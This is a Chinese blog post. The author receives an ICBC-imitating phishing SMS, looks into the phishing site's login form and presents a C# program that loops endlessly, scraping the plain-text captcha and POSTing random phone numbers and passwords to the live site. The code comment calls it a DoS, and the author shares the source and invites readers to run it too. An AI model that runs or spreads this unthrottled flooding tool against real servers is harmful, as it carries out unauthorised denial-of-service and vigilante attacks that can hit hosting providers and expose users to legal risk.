事由
下午收到一條短信,內容是“尊敬的用戶, 您的電子密碼器於次日失效!請盡快進入我行手機維護網站wap.95588bm.com更新!【工 行 】”,一看發件人是:+8618193326403,再加上本人也不用工行的銀行卡,很明顯的是騙人的短信嘛。
做過Web的人應該也清楚這個網站應該就是釣魚網站了。
好奇的打開網站看了看:
又看了下各個登陸鏈接的入口,發現都是一樣的,點開看看了:
隨便輸入了個手機號和密碼,填寫驗證碼,點登陸后:
是個模擬升級的頁面,騙人的。
本人向來痛恨這人騙人的行為,心想,我何不寫個小程序,向他提交隨機的手機號和假的密碼,讓程序不停的提交表單,干擾騙子,用來解恨。
開始動手——收集信息
從登陸頁面的html代碼入手,發現其驗證碼是純文本的,這樣的話驗證碼就好辦了,至少不用搞什么圖片驗證碼識別了:
使用Fiddler跟蹤提交的表單信息:
好了,到此我們已經知道了他的表達提交地址和方式了,由於這個網站對驗證碼做了服務端驗證,所以還需要提交正確的驗證碼。
分析開發步驟
- 首先要解決Http請求的問題,會用到Get請求和Post請求,這個簡單,可以用.Net自帶的HttpWebRequest搞定
- 需要從html代碼中獲取驗證碼,我使用了HtmlAgilityPack來提取(用它簡單方便)
- 生成隨機的手機號和密碼,這個也不麻煩,采用隨機數弄一下就行了
- 拼接post請求的信息,寫個死循環重復提交虛假信息,就可以了
主要代碼
核心的處理邏輯不算復雜,代碼量也不大,為了快速實現功能,直接寫到Main函數中了,代碼如下:
/// <summary> /// Dos一個騙人的網址,向網址中提交隨機的手機號和密碼,干擾騙子網站 /// ^O^,讓你在作惡 /// </summary> class Program { static Random random = new Random(); static void Main(string[] args) { string url = "http://wap.95588bm.com/cn/login.asp"; IBrowser browser = new DefaultBrowser(); HtmlDocument doc = new HtmlDocument(); int count = 0; while (true) { try { string html = browser.GetResponseHtml(new Uri(url), HttpVerb.GET, null); doc.LoadHtml(html); // 獲取驗證碼,居然是純文本的,不過倒好,就不用圖片識別了 string validCode = doc.DocumentNode.SelectSingleNode(".//td[@align='center']").InnerText; string data = String.Format("logonCardNum={0}&logonCardPsw={1}&netType=130&verimg={2}&mysub=", RndNum(), // 手機號 random.Next(100000, 999999), // 6位隨機密碼 validCode); // 驗證碼 // post提交虛假數據 var res = browser.GetResponseHtml(new Uri("http://wap.95588bm.com/cn/login.asp?action=checklogin"), HttpVerb.POST, data); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine(res); } catch (Exception ex) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(ex.Message); } count++; Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine("請求次數:" + count); //Thread.Sleep(random.Next(1000, 3000)); } Console.ReadLine(); } /// <summary> /// 隨機生成手機號 /// </summary> /// <returns></returns> static string RndNum() { string result = ""; string[] prefix = new string[] { "151", "186", "131", "156", "168", "166", "137", "138", "139", "133" }; result += prefix[random.Next(10)]; for (int i = 0; i < 8; i++) { result += random.Next(10).ToString(); } return result; } }
提交成功后,對方的服務器會返回如下html字符串:
1 |
<meta http-equiv="refresh" content="0;URL=tjchongzhi.asp?cname=15131988584">
|
這是將當前頁面刷新成自動顯示升級的頁面了,表示我們已經成功將隨機的手機號和密碼提交到對方服務器了。
程序運行效果如下:
程序運行結果
看着程序不停的提交虛假信息,心里那是個爽呀。
奉上源代碼,大家也玩玩